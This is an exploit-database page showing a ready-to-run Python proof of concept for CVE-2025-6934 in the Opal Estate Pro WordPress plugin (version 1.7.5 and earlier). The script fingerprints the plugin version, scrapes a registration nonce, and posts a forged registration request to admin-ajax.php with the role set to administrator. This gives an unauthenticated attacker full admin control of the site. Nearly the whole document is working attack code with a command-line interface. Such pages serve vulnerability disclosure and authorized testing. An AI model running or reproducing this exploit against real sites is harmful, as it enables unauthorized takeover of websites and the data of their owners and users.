Exploit database

GH-7c3fb57c263d9f2810e7a1f38314beb3

0xgh057r3c0n/cve-2025-6934

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-6934

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
0xgh057r3c0n/cve-2025-6934Revision 4b0b01745547

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2025-6934.py

Python · 5,763 bytes
#!/usr/bin/env python3
import argparse
import requests
import re
import json
from urllib.parse import urljoin
from bs4 import BeautifulSoup
from colorama import Fore, Style, init

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()

HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}

init(autoreset=True)

def banner():
    print(Fore.CYAN + r"""
_____________   _______________         _______________   ________   .________           ________________________     _____  
\_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \  |   ____/          /  _____/   __   \_____  \   /  |  | 
/    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/  |____  \   ______ /   __  \\____    / _(__  <  /   |  |_
\     \____\     /   |        \ /_____/ /       \  \_/   \/       \  /       \ /_____/ \  |__\  \  /    / /       \/    ^   /
 \______  / \___/   /_______  /         \_______ \_____  /\_______ \/______  /          \_____  / /____/ /______  /\____   | 
        \/                  \/                  \/     \/         \/       \/                 \/                \/      |__| 
""" + Style.RESET_ALL)
    title = "CVE-2025-6934 Exploit PoC"
    author = "By: Gaurav Bhattacharjee [0xgh057r3c0n]"
    # Indian flag colors: saffron, white, green (using colorama: RED, WHITE, GREEN)
    details = (
        Fore.RED + "Unauthenticated Administrator Account Creation".center(80) + Style.RESET_ALL + "\n" +
        Fore.WHITE + "WordPress Plugin: Opal Estate Pro <= 1.7.5".center(80) + Style.RESET_ALL + "\n"
    )
    width = 80
    print(Fore.YELLOW + title.center(width))
    print(Fore.GREEN + author.center(width) + Style.RESET_ALL)
    print(Fore.MAGENTA + details.center(width) + Style.RESET_ALL)

def status(msg, color=Fore.CYAN):
    print(color + "[•] " + msg + Style.RESET_ALL)

def success(msg):
    print(Fore.GREEN + "[✔] " + msg + Style.RESET_ALL)

def fail(msg):
    print(Fore.RED + "[✖] " + msg + Style.RESET_ALL)

def info(msg):
    print(Fore.YELLOW + "[i] " + msg + Style.RESET_ALL)

def check_version(base_url: str):
    status("Checking Plugin Version...")
    readme_url = urljoin(base_url, "/wp-content/plugins/opal-estate-pro/readme.txt")
    try:
        response = requests.get(readme_url, verify=False, timeout=10)
        if response.status_code == 200:
            match = re.search(r"Stable tag:\s*([\d\.]+)", response.text)
            if match:
                version = match.group(1)
                if version <= "1.7.5":
                    success(f"Vulnerable version detected: {version}")
                else:
                    info(f"Version may not be vulnerable: {version}")
            else:
                fail("Stable tag not found in readme.txt")
        else:
            fail("Could not access readme.txt")
    except Exception as e:
        fail(f"Error: {e}")

def get_nonce(base_url: str):
    try:
        response = requests.get(base_url, verify=False, timeout=10, headers=HEADERS)
        soup = BeautifulSoup(response.text, "html.parser")
        input_tag = soup.find("input", {"name": "opalestate-register-nonce"})
        return input_tag.get("value") if input_tag else None
    except Exception:
        return None

def exploit(base_url: str, email: str, password: str, username: str = "0xgh057r3c0n"):
    status("Starting Exploit Attempt...")
    nonce = get_nonce(base_url)

    if not nonce:
        fail("Failed to retrieve nonce")
        return

    success(f"Nonce Found: {nonce}")

    target = urljoin(base_url, "/wp-admin/admin-ajax.php")
    data = {
        "username": username,
        "email": email,
        "password": password,
        "password1": password,
        "role": "administrator",
        "confirmed_register": "on",
        "opalestate-register-nonce": nonce,
        "_wp_http_referer": "/",
        "ajax": "1",
        "action": "opalestate_register_form"
    }

    try:
        response = requests.post(target, data=data, verify=False, headers=HEADERS)
        info(f"HTTP Status: {response.status_code}")

        try:
            result = response.json()
            if result.get("status") is True:
                print(Fore.GREEN + "\n" + "="*30)
                success("Exploit Successful!")
                print(Fore.CYAN + f"    Username : {username}")
                print(Fore.CYAN + f"    Email    : {email}")
                print(Fore.CYAN + f"    Password : {password}")
                print(Fore.CYAN + f"    Role     : administrator")
                print(Fore.GREEN + "="*30 + Style.RESET_ALL)
            else:
                fail("Exploit Failed!")
                message = result.get("message", "")
                clean_msg = BeautifulSoup(message, "html.parser").get_text().strip()
                info(f"Reason: {clean_msg}")

        except json.JSONDecodeError:
            fail("Unexpected response (non-JSON):")
            print(response.text)

    except Exception as e:
        fail(f"Exploit Error: {e}")

    status("Exploit Complete — By: 0xgh057r3c0n", color=Fore.MAGENTA)

def main():
    banner()
    parser = argparse.ArgumentParser(
        description="CVE-2025-6934 Exploit by 0xgh057r3c0n"
    )
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://site.com/path/)")
    parser.add_argument("-mail", "--newmail", required=True, help="Email to register as admin")
    parser.add_argument("-password", "--newpassword", required=True, help="Password for new admin user")
    parser.add_argument("-user", "--username", default="administrator", help="Username for new admin")
    args = parser.parse_args()

    exploit(args.url, args.newmail, args.newpassword, args.username)

if __name__ == "__main__":
    main()